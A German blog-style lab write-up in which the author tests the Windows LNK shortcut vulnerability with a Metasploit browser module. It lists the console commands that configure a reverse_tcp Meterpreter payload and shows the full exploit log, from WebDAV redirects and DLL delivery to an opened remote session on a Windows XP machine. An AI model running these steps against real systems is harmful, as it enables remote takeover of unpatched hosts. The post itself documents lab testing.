Ist zwar jetzt schon etwas laenger her, aber ich hatte jetzt endlich mal kurz Zeit die LNK-Luecke unter Windows zu testen. Ausgiebig konnte ich dies zwar noch nicht tun, aber ich hatte spass mit dem Metasploit Modul
windows/browser/ms10_xxx_windows_shell_lnk_execute.
Nachdem ich alle meine Daten in der Metasploit Konsole eingegeben habe:
use windows/browser/ms10_xxx_windows_shell_lnk_execute
set PAYLOAD windows/patchupmeterpreter/reverse_tcp
set LHOST 192.168.55.2
exploit
Wurde auch der Fake Webserver gestartet. Die Ausgabe sieht dann wie folgt aus:
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.55.2:4444
[*]
[*] Send vulnerable clients to \\192.168.55.2\rzAATIPqRf\.
[*] Or, get clients to save and render the icon of http:///.lnk
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.55.2:80/
[*] Server started.
Nun habe ich mit einem Windows XP und einem Windows 2008 R2 Server etwas getestet. Andere Windows Versionen hatte ich in meinem Labor nicht zur Verfuegung. Das Windows XP mit dem alten Internet Explorer reagiert sofort auf die Umleitung und greift via WebDAV zu und versucht die Icons anzuzeigen. Ab dann habt ihr eine Meterpreter Session im Hintergrund. Die Ausgabe auf eurer Metasploit Maschine sieht dann ungefaehr so aus:
[*] Sending UNC redirect to 192.168.55.101:1083 ...
[*] Responding to WebDAV OPTIONS request from 192.168.55.101:1098
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf
[*] Sending 301 for /rzAATIPqRf ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/
[*] Sending directory multistatus for /rzAATIPqRf/ ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf
[*] Sending 301 for /rzAATIPqRf ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/
[*] Sending directory multistatus for /rzAATIPqRf/ ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/desktop.ini
[*] Sending 404 for /rzAATIPqRf/desktop.ini ...
[*] Sending LNK file to 192.168.55.101:1098 ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/epKOU.dll.manifest
[*] Sending 404 for /rzAATIPqRf/epKOU.dll.manifest ...
[*] Sending DLL payload 192.168.55.101:1098 ...
[*] Received WebDAV PROPFIND request from 192.168.55.101:1098 /rzAATIPqRf/epKOU.dll.123.Manifest
[*] Sending 404 for /rzAATIPqRf/epKOU.dll.123.Manifest ...
[*] Sending stage (2650 bytes) to 192.168.55.101
[*] Sleeping before handling stage...
[*] Uploading DLL (748043 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.55.2:4444 -> 192.168.55.101:1099) at 2010-07-29 11:12:50 +0200
Wenn ihr nun einfach in der Metersploit Konsole schaut, ob auch alles geklappt hat:
msf exploit(ms10_xxx_windows_shell_lnk_execute) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter WINVM\sqall @ WINVM 192.168.55.2:4444 -> 192.168.55.101:1099
Nun koennt ihr euch mit dieser Session verbinden:
msf exploit(ms10_xxx_windows_shell_lnk_execute) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Und ihr seid auf dem Rechner mit dem Meterpreter, der anfaellig gegen diese Luecke war.
Der Firefox reagiert auf die Umleitung nicht und leitet komplett falsch um. Unter Windows 2008 R2 Server hatte der Internet Explorer in der Standardeinstellung auch die Umleitung auf den WebDAV Dienst ignoriert. Hier konnte ich auf die schnelle keine Meterpreter Session aufbauen.
Allerdings scheint das Metersploit Modul noch nicht ganz ausgereift zu sein. Denn ab und zu gibt es Timeouts auf dem Client und ihr muesst die Session aktualisieren, damit der Browser auch auf das WebDAV Verzeichnis zugreift. Fuer einen wirklichen Angriff meiner Meinung nach nicht geeignet.
Weitere Tests werde ich wohl erst bei etwas mehr Zeit durchfuehren koennen, aber hier schon mal ein kleiner Vorgeschmack